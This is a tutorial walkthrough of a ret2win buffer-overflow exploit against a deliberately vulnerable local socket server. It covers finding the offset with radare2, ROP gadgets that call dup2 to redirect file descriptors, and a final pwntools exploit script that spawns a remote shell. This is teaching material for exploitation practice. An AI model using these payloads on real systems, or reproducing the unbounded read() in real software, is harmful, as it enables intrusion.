# Exploit

## Source

I'll include `source.c`, but most of it is socket programming derived from [here](https://www.cs.cmu.edu/afs/cs/academic/class/15213-f99/www/class26/tcpserver.c). The two relevent functions - `vuln()` and `win()` - I'll list below.

{% file src="<https://349224153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MEwBGnjPgf263kl5vWP%2F-MPZCvWLhwV2Bjv75Vo7%2F-MPZDkDxe1_s4VCYPW_w%2Fsockets.zip?alt=media&token=3442c857-9b75-4171-91d9-7b63d63ef087>" %}
Sockets and File Descriptors
{% endfile %}

```c
void vuln(int childfd) {
    char buffer[30];

    read(childfd, buffer, 500);
    write(childfd, "Thanks!", 8);
}

void win() {
    system("/bin/sh");
}
```

Quite literally an easy [ret2win](https://ir0nstone.gitbook.io/notes/binexp/stack/ret2win).&#x20;

## Exploitation

Start the binary with `./vuln 9001`.

Basic setup, except it's a remote process:

```python
from pwn import *

elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)
```

### Testing Offset

I pass in a basic [De Bruijn](https://ir0nstone.gitbook.io/notes/binexp/stack/de-bruijn-sequences) pattern and pause directly before:

```python
payload = b'AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFA'

pause()
p.sendline(payload)
```

Once the `pause()` is reached, I hook on with radare2 and set a breakpoint at the `ret`.

```
$ r2 -d -A $(pidof vuln)

[0x7f741033bdee]> pdf @ sym.vuln
[...]
└           0x0040126b      c3             ret

[0x7f741033bdee]> db 0x0040126b
[0x7f741033bdee]> dc
hit breakpoint at: 40126b

[0x0040126b]> pxq @ rsp
0x7ffd323ee6f8  0x41415041414f4141  0x4153414152414151   AAOAAPAAQAARAASA
[...]

[0x0040126b]> wopO 0x41415041414f4141
40
```

Ok, so the offset is `40`.

### Generate Exploit

Should be fairly simple, right?

```python
payload = flat(
    'A' * 40,
    elf.sym['win']
)

p.sendline(payload)
p.interactive()
```

What the hell?

![](https://349224153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MEwBGnjPgf263kl5vWP%2F-MPYuN_R7l1RSrkxbYv6%2F-MPZ8do3_JaNN34Tut7v%2Fimage.png?alt=media\&token=899cf915-5964-4eeb-8a73-cb0d15cd6b06)

But if we look on the server itself:

![](https://349224153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MEwBGnjPgf263kl5vWP%2F-MPYuN_R7l1RSrkxbYv6%2F-MPZ8yiZ20gyLCUUl5FL%2Fimage.png?alt=media\&token=71a4ef4a-a4e2-428b-9296-fe8f066e24c4)

A shell was popped there! This is the [file descriptor issue](https://ir0nstone.gitbook.io/notes/binexp/stack/exploiting-over-sockets) we talked about before.

So we have a shell, but no way to control it. Time to use `dup2`.

{% hint style="info" %}
I've simplified this challenge a lot by including a call to `dup2()` within the vulnerable binary, but normally you would leak libc via the [GOT](https://ir0nstone.gitbook.io/notes/binexp/stack/aslr/ret2plt-aslr-bypass) and then use libc's `dup2()` rather than the PLT; this walkthrough is about the basics, so I kept it as simple as possible.
{% endhint %}

### Duplicating File Descriptors

As we know, we need to call `dup2(newfd, oldfd)`. `newfd` will be `4` (our connection fd) and `oldfd` will be `0` and `1` (we need to call it twice to redirect both`stdin` and `stdout`). Knowing what you do about [calling conventions](https://ir0nstone.gitbook.io/notes/binexp/stack/return-oriented-programming/exploiting-calling-conventions), have a go at doing this and then caling `win()`. The answer is below.

### Using dup2()

Since we need two parameters, we'll need to find a gadget for RDI and RSI. I'll use `ROPgadget` to find these.

```
$ ROPgadget --binary vuln | grep "pop rdi"
0x000000000040150b : pop rdi ; ret

$ ROPgadget --binary vuln | grep "pop rsi"
0x0000000000401509 : pop rsi ; pop r15 ; ret
```

Plonk these values into the script.

```python
POP_RDI = 0x40150b 
POP_RSI_R15 = 0x401509 
```

Now to get all the calls to `dup2()`.

```python
payload = flat(
    'A' * 40,

    POP_RDI,
    4,                  # newfd
    POP_RSI_R15,
    0,                  # oldfd -> stdin
    0,                  # junk r15
    elf.plt['dup2'],

    POP_RDI,
    4,                  # newfd
    POP_RSI_R15,
    1,                  # oldfd -> stdout
    0,                  # junk r15
    elf.plt['dup2'],

    elf.sym['win']
)

p.sendline(payload)
p.recvuntil('Thanks!\x00')
p.interactive()
```

And wehey - the file descriptors were successfully duplicated!

![](https://349224153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MEwBGnjPgf263kl5vWP%2F-MPYuN_R7l1RSrkxbYv6%2F-MPZCXKByDidz-grmb1G%2Fimage.png?alt=media\&token=ecd270d6-8c3e-42d4-b1d6-376497bad186)

## Final Exploit

```python
from pwn import *

elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)

POP_RDI = 0x40150b 
POP_RSI_R15 = 0x401509 

payload = flat(
    'A' * 40,

    POP_RDI,
    4,                  # newfd
    POP_RSI_R15,
    0,                  # oldfd -> stdin
    0,                  # junk r15
    elf.plt['dup2'],

    POP_RDI,
    4,                  # newfd
    POP_RSI_R15,
    1,                  # oldfd -> stdout
    0,                  # junk r15
    elf.plt['dup2'],

    elf.sym['win']
)

p.sendline(payload)
p.recvuntil('Thanks!\x00')
p.interactive()
```

## Pwntools' ROP

These kinds of chains are where pwntools' ROP capabilities really come into their own:

```python
from pwn import *

elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)

rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()

p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()
```

Works perfectly and is much shorter and more readable!
